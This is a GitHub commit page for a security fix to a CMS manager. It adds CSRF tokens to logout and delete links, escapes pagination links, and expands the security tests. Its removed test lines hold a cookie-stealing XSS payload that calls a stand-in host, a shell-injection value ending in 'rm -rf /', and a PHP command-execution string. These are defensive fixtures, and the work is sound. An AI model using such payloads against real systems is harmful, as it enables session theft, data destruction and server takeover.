Skip to content

Commit dc43bd2

Browse files
authored
Merge pull request #2478 from elcreator/fix-xss-and-payloads-in-tests
fix(manager): close CSRF gaps, escape log filters and neutralise test payloads
2 parents 2f62298 + 5258636 commit dc43bd2

26 files changed

Lines changed: 423 additions & 43 deletions

‎core/src/Controllers/SystemInfo.php‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -194,7 +194,7 @@ protected function opcacheStatus(): string
194194

195195
$label = $this->managerTheme->getLexicon('enabled');
196196
if (function_exists('opcache_reset') && $this->canUseOpcacheApi()) {
197-
$label = '<a href="index.php?a=53&opcache_reset=1" class="text-underline">' . $label . '</a>';
197+
$label = '<a href="index.php?a=53&opcache_reset=1&_token=' . e(csrf_token()) . '" class="text-underline">' . $label . '</a>';
198198
}
199199
$details = sprintf($this->managerTheme->getLexicon('opcache_memory_details'),
200200
$this->formatBytes($used),

‎core/src/ManagerTheme.php‎

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -717,7 +717,8 @@ public function getTemplatePlaceholders(): array
717717
'evo_charset' => $this->getCharset(),
718718
'favicon' => (file_exists(EVO_BASE_PATH . 'favicon.ico') ? EVO_SITE_URL : $this->getThemeUrl() . 'images/') . 'favicon.ico',
719719
'homeurl' => $this->getCore()->makeUrl($this->getManagerStartupPageId()),
720-
'logouturl' => EVO_MANAGER_URL . 'index.php?a=8',
720+
// Logout is CSRF-verified; csrf_token() throws when no session has been started.
721+
'logouturl' => EVO_MANAGER_URL . 'index.php?a=8' . (isset($_SESSION) ? '&_token=' . rawurlencode(csrf_token()) : ''),
721722
'year' => date('Y'),
722723
'theme' => $this->getTheme(),
723724
'manager_theme_url' => $this->getThemeUrl(),

‎core/src/Middleware/VerifyCsrfToken.php‎

Lines changed: 25 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,7 @@ class VerifyCsrfToken
3030
*/
3131
protected const MUTATING_GET_ACTIONS = [
3232
6, // delete_content
33+
8, // LogInOut - logout destroys the manager session
3334
21, // delete_template
3435
24, // save_snippet (?disabled= toggle)
3536
25, // delete_snippet
@@ -64,6 +65,25 @@ class VerifyCsrfToken
6465
501, // delete_category
6566
];
6667

68+
/**
69+
* Manager actions that render an ordinary page on GET but mutate state once a particular
70+
* query parameter is present.
71+
*
72+
* Listing these in MUTATING_GET_ACTIONS would demand a token for plain navigation to the
73+
* edit forms, so only requests carrying the triggering parameter are verified.
74+
*/
75+
protected const MUTATING_GET_PARAMETERS = [
76+
35 => 'action', // UserRole - ?action=delete removes the role
77+
36 => 'action', // UserRole
78+
38 => 'action', // UserRole
79+
53 => 'opcache_reset', // SystemInfo - ?opcache_reset=1 resets OPcache
80+
113 => 'op', // module dependencies - ?op=add|del changes them from $_REQUEST
81+
120 => 'module_categories_manager', // category manager - [delete] removes a category
82+
121 => 'module_categories_manager', // category manager
83+
135 => 'action', // Permission - ?action=delete removes the permission
84+
136 => 'action', // PermissionsGroups - ?action=delete removes the group and its permissions
85+
];
86+
6787
/**
6888
* @param \Illuminate\Http\Request $request
6989
* @param Closure $next
@@ -98,9 +118,13 @@ protected function requiresVerification($request): bool
98118
return true;
99119
}
100120

121+
$action = $this->getActionId($request);
122+
101123
// Explicitly stale tokens must not be ignored even on read-only pages.
102124
return $request->input('_token', $request->header('X-CSRF-TOKEN')) !== null
103-
|| in_array($this->getActionId($request), self::MUTATING_GET_ACTIONS, true);
125+
|| in_array($action, self::MUTATING_GET_ACTIONS, true)
126+
|| (isset(self::MUTATING_GET_PARAMETERS[$action])
127+
&& $request->query->has(self::MUTATING_GET_PARAMETERS[$action]));
104128
}
105129

106130
/**

‎core/src/Support/Paginate.php‎

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,7 +75,9 @@ public function __construct($int_nbr_row, $int_cur_position, $int_num_result, $s
7575
$this->int_nbr_row = $int_nbr_row;
7676
$this->int_num_result = $int_num_result;
7777
$this->int_cur_position = $int_cur_position;
78-
$this->str_ext_argv = urldecode($str_ext_argv);
78+
// Every link writes this into href="", and urldecode() undoes any encoding the caller
79+
// applied, so it is escaped here rather than trusted to arrive safe.
80+
$this->str_ext_argv = htmlspecialchars(urldecode((string)$str_ext_argv), ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8', false);
7981
}
8082

8183
/**

‎core/tests/Unit/Security/BackupManagerShellTest.php‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ public function inspectProcess($binary, array $arguments)
5454
});
5555

5656
test('an argument carrying shell metacharacters stays a single argument', function () {
57-
$table = 'evo_users; rm -rf /';
57+
$table = 'evo_users; echo pwned';
5858
$line = (new InspectableBackupService())->inspectProcess('pg_dump', ['--table', $table])
5959
->getCommandLine();
6060

‎core/tests/Unit/Security/BladeStoredXssTest.php‎

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ function renderBladeFragment(string $template, array $data = []): string
5252
*/
5353
function storedXssPayload(): string
5454
{
55-
return 'Import failed<br /><pre>bad value: <script>fetch("//evil.test/"+document.cookie)</script></pre>';
55+
return 'Import failed<br /><pre>bad value: <script>alert("evil.test")</script></pre>';
5656
}
5757

5858
test('the old raw echo really did execute a stored payload', function () {
@@ -61,7 +61,7 @@ function storedXssPayload(): string
6161
$output = renderBladeFragment('{!! $description !!}', ['description' => storedXssPayload()]);
6262

6363
expect($output)->toContain('<script>')
64-
->and($output)->toContain('fetch("//evil.test/"+document.cookie)');
64+
->and($output)->toContain('alert("evil.test")');
6565
});
6666

6767
test('printing the sanitised description keeps the layout and disarms the payload', function () {
@@ -121,7 +121,7 @@ function storedXssPayload(): string
121121

122122
test('a payload hidden inside a stored error report is stripped, the report is not', function () {
123123
$report = '<table class="grid" onmouseover="alert(1)"><tr><td>File</td>'
124-
. '<td>/tmp/<img src=x onerror="fetch('//evil.test/'+document.cookie)">.php</td></tr></table>'
124+
. '<td>/tmp/<img src=x onerror="alert(\'evil.test\')">.php</td></tr></table>'
125125
. '<a href="javascript:alert(1)">details</a>';
126126

127127
$log = (new EventLog())->setRawAttributes([

‎core/tests/Unit/Security/ManagerCsrfCoverageTest.php‎

Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -189,6 +189,7 @@ function isLoginTemplate(string $path): bool
189189
$guarded = (new ReflectionClass(VerifyCsrfToken::class))->getConstant('MUTATING_GET_ACTIONS');
190190

191191
$mutatingControllers = [
192+
8 => 'Users/LogInOut', // logout destroys the manager session
192193
26 => 'RefreshSite', // publishes/unpublishes pending documents, clears the cache
193194
52 => 'MoveDocument', // reparents a document from $_REQUEST
194195
90 => 'Users/DeleteUser', // deletes a manager user from $_GET
@@ -216,6 +217,98 @@ function isLoginTemplate(string $path): bool
216217
expect($unguarded)->toBe([]);
217218
});
218219

220+
it('guards the page actions that delete when a query parameter is present', function () {
221+
// Role, permission and category pages are also plain edit screens, so their action ids
222+
// cannot go into MUTATING_GET_ACTIONS; the triggering parameter is guarded instead.
223+
$parameters = (new ReflectionClass(VerifyCsrfToken::class))->getConstant('MUTATING_GET_PARAMETERS');
224+
225+
$deleteBranches = [
226+
'core/src/Controllers/UserRoles/UserRole.php' => [[35, 36, 38], 'action', "\$_GET['action'] == 'delete'"],
227+
'core/src/Controllers/UserRoles/Permission.php' => [[135], 'action', "\$_GET['action'] == 'delete'"],
228+
'core/src/Controllers/UserRoles/PermissionsGroups.php' => [[136], 'action', "\$_GET['action'] == 'delete'"],
229+
'core/src/Controllers/SystemInfo.php' => [[53], 'opcache_reset', "request()->boolean('opcache_reset')"],
230+
'manager/actions/mutate_module_resources.dynamic.php' => [[113], 'op', "switch (\$_REQUEST['op'])"],
231+
'manager/actions/category_mgr/inc/request_trigger.inc.php' => [
232+
[120, 121],
233+
'module_categories_manager',
234+
"\$_GET[\$cm->get('request_key')]['delete']",
235+
],
236+
];
237+
238+
$unguarded = [];
239+
240+
foreach ($deleteBranches as $relative => [$actions, $parameter, $trigger]) {
241+
expect((string)file_get_contents(evoRoot() . '/' . $relative))->toContain($trigger);
242+
243+
foreach ($actions as $action) {
244+
if (($parameters[$action] ?? null) !== $parameter) {
245+
$unguarded[] = $relative . ' (a=' . $action . ')';
246+
}
247+
}
248+
}
249+
250+
$categories = (string)file_get_contents(evoRoot() . '/manager/actions/mutate_categories.dynamic.php');
251+
expect($categories)->toContain("'request_key' => 'module_categories_manager'");
252+
253+
expect($unguarded)->toBe([]);
254+
});
255+
256+
it('appends a token to the OPcache reset link', function () {
257+
// The link is built in the controller, so the template scan below does not see it.
258+
$source = (string)file_get_contents(evoRoot() . '/core/src/Controllers/SystemInfo.php');
259+
260+
preg_match_all('/^.*opcache_reset=1.*$/m', $source, $links);
261+
262+
expect($links[0])->not->toBeEmpty();
263+
264+
foreach ($links[0] as $link) {
265+
expect($link)->toContain('_token=');
266+
}
267+
});
268+
269+
it('appends a token to the logout links built outside the templates', function () {
270+
// The template scan covers the Blade links; these are assembled in PHP and in the theme script.
271+
$theme = (string)file_get_contents(evoRoot() . '/core/src/ManagerTheme.php');
272+
$script = (string)file_get_contents(evoRoot() . '/manager/media/style/default/js/evo.js');
273+
274+
expect($theme)->toContain("'logouturl' => EVO_MANAGER_URL . 'index.php?a=8' . (isset(\$_SESSION) ? '&_token=' . rawurlencode(csrf_token()) : '')")
275+
->and($script)->toContain("'?a=8&_token=' + encodeURIComponent(evo.tabsCsrfToken())")
276+
->and($script)->not->toMatch("/\?a=8';/");
277+
});
278+
279+
it('appends a token to every role, permission and category delete link', function () {
280+
$patterns = [
281+
'/\ba=(35|36|38|135|136)&action=delete/',
282+
"/makeUrl\('actions\.delete'\) }}&action=delete/",
283+
"/request_key'\); \?>\[delete\]=/",
284+
];
285+
286+
$found = 0;
287+
$untokenised = [];
288+
289+
foreach (managerTemplateFiles() as $path) {
290+
$lines = explode("\n", (string)file_get_contents($path));
291+
292+
foreach ($lines as $index => $line) {
293+
foreach ($patterns as $pattern) {
294+
if (!preg_match($pattern, $line)) {
295+
continue;
296+
}
297+
298+
$found++;
299+
300+
if (!str_contains($line, '_token')) {
301+
$untokenised[] = str_replace(evoRoot() . '/', '', $path) . ':' . ($index + 1);
302+
}
303+
}
304+
}
305+
}
306+
307+
// user_role, permission, permissions_groups, element_permission and the category editor.
308+
expect($found)->toBeGreaterThanOrEqual(5)
309+
->and($untokenised)->toBe([]);
310+
});
311+
219312
it('guards the disable toggle branch of the element save processors', function () {
220313
// Each save_* processor acts on ?disabled= before it ever looks at the POST body.
221314
$toggles = [

‎core/tests/Unit/Security/ManagerCsrfMiddlewareTest.php‎

Lines changed: 47 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -101,7 +101,7 @@ function csrfPassed(Request $request): bool
101101
$request = csrfRequest('POST', [
102102
'a' => 109,
103103
'mode' => 'new',
104-
'post' => '<?php system($_GET["c"]); ?>',
104+
'post' => '<?php evil(); ?>',
105105
]);
106106

107107
expect(csrfPassed($request))->toBeFalse();
@@ -141,6 +141,7 @@ function csrfPassed(Request $request): bool
141141
expect(csrfPassed($request))->toBeFalse();
142142
})->with([
143143
6, // delete_content
144+
8, // logout - destroys the manager session
144145
61, // publish_content
145146
94, // duplicate_content
146147
110, // delete_module
@@ -149,6 +150,51 @@ function csrfPassed(Request $request): bool
149150
303, // delete_tmplvars
150151
]);
151152

153+
it('rejects page actions whose delete parameter is sent without a token', function (array $params) {
154+
// Roles, permissions and categories are deleted by the same actions that render their
155+
// edit pages, so a single query parameter decides whether the request is destructive.
156+
expect(csrfPassed(csrfRequest('GET', $params)))->toBeFalse();
157+
})->with([
158+
'role (a=35)' => [['a' => 35, 'id' => 3, 'action' => 'delete']],
159+
'role (a=36)' => [['a' => 36, 'id' => 3, 'action' => 'delete']],
160+
'role (a=38)' => [['a' => 38, 'id' => 3, 'action' => 'delete']],
161+
'opcache reset (a=53)' => [['a' => 53, 'opcache_reset' => 1]],
162+
'module dependency add (a=113)' => [['a' => 113, 'id' => 3, 'op' => 'add', 'newids' => '5', 'rt' => 'snip']],
163+
'module dependency delete (a=113)' => [['a' => 113, 'id' => 3, 'op' => 'del', 'depid' => [5]]],
164+
'permission (a=135)' => [['a' => 135, 'id' => 3, 'action' => 'delete']],
165+
'permission group (a=136)' => [['a' => 136, 'id' => 3, 'action' => 'delete']],
166+
'category (a=120)' => [['a' => 120, 'module_categories_manager' => ['delete' => 3, 'category' => 'x']]],
167+
'category (a=121)' => [['a' => 121, 'module_categories_manager' => ['delete' => 3]]],
168+
]);
169+
170+
it('accepts page action deletes carrying the session token', function (array $params) {
171+
$params['_token'] = str_repeat('a', 40);
172+
173+
expect(csrfPassed(csrfRequest('GET', $params)))->toBeTrue();
174+
})->with([
175+
'role' => [['a' => 35, 'id' => 3, 'action' => 'delete']],
176+
'opcache reset' => [['a' => 53, 'opcache_reset' => 1]],
177+
'permission' => [['a' => 135, 'id' => 3, 'action' => 'delete']],
178+
'category' => [['a' => 120, 'module_categories_manager' => ['delete' => 3]]],
179+
]);
180+
181+
it('keeps the role, permission and category pages reachable without a token', function (array $params) {
182+
expect(csrfPassed(csrfRequest('GET', $params)))->toBeTrue();
183+
})->with([
184+
'edit role' => [['a' => 35, 'id' => 3]],
185+
'new role' => [['a' => 38]],
186+
'system info' => [['a' => 53]],
187+
'module dependencies' => [['a' => 113, 'id' => 3]],
188+
'edit permission' => [['a' => 135, 'id' => 3]],
189+
'edit permission group' => [['a' => 136, 'id' => 3]],
190+
'category manager' => [['a' => 120]],
191+
]);
192+
193+
it('does not treat the delete parameter as destructive on unrelated pages', function () {
194+
// Only the role, permission and category actions act on ?action=delete.
195+
expect(csrfPassed(csrfRequest('GET', ['a' => 27, 'id' => 3, 'action' => 'delete'])))->toBeTrue();
196+
});
197+
152198
it('accepts destructive GET actions carrying the session token', function () {
153199
$request = csrfRequest('GET', ['a' => 112, 'id' => 3, '_token' => str_repeat('a', 40)]);
154200

0 commit comments

Comments
 (0)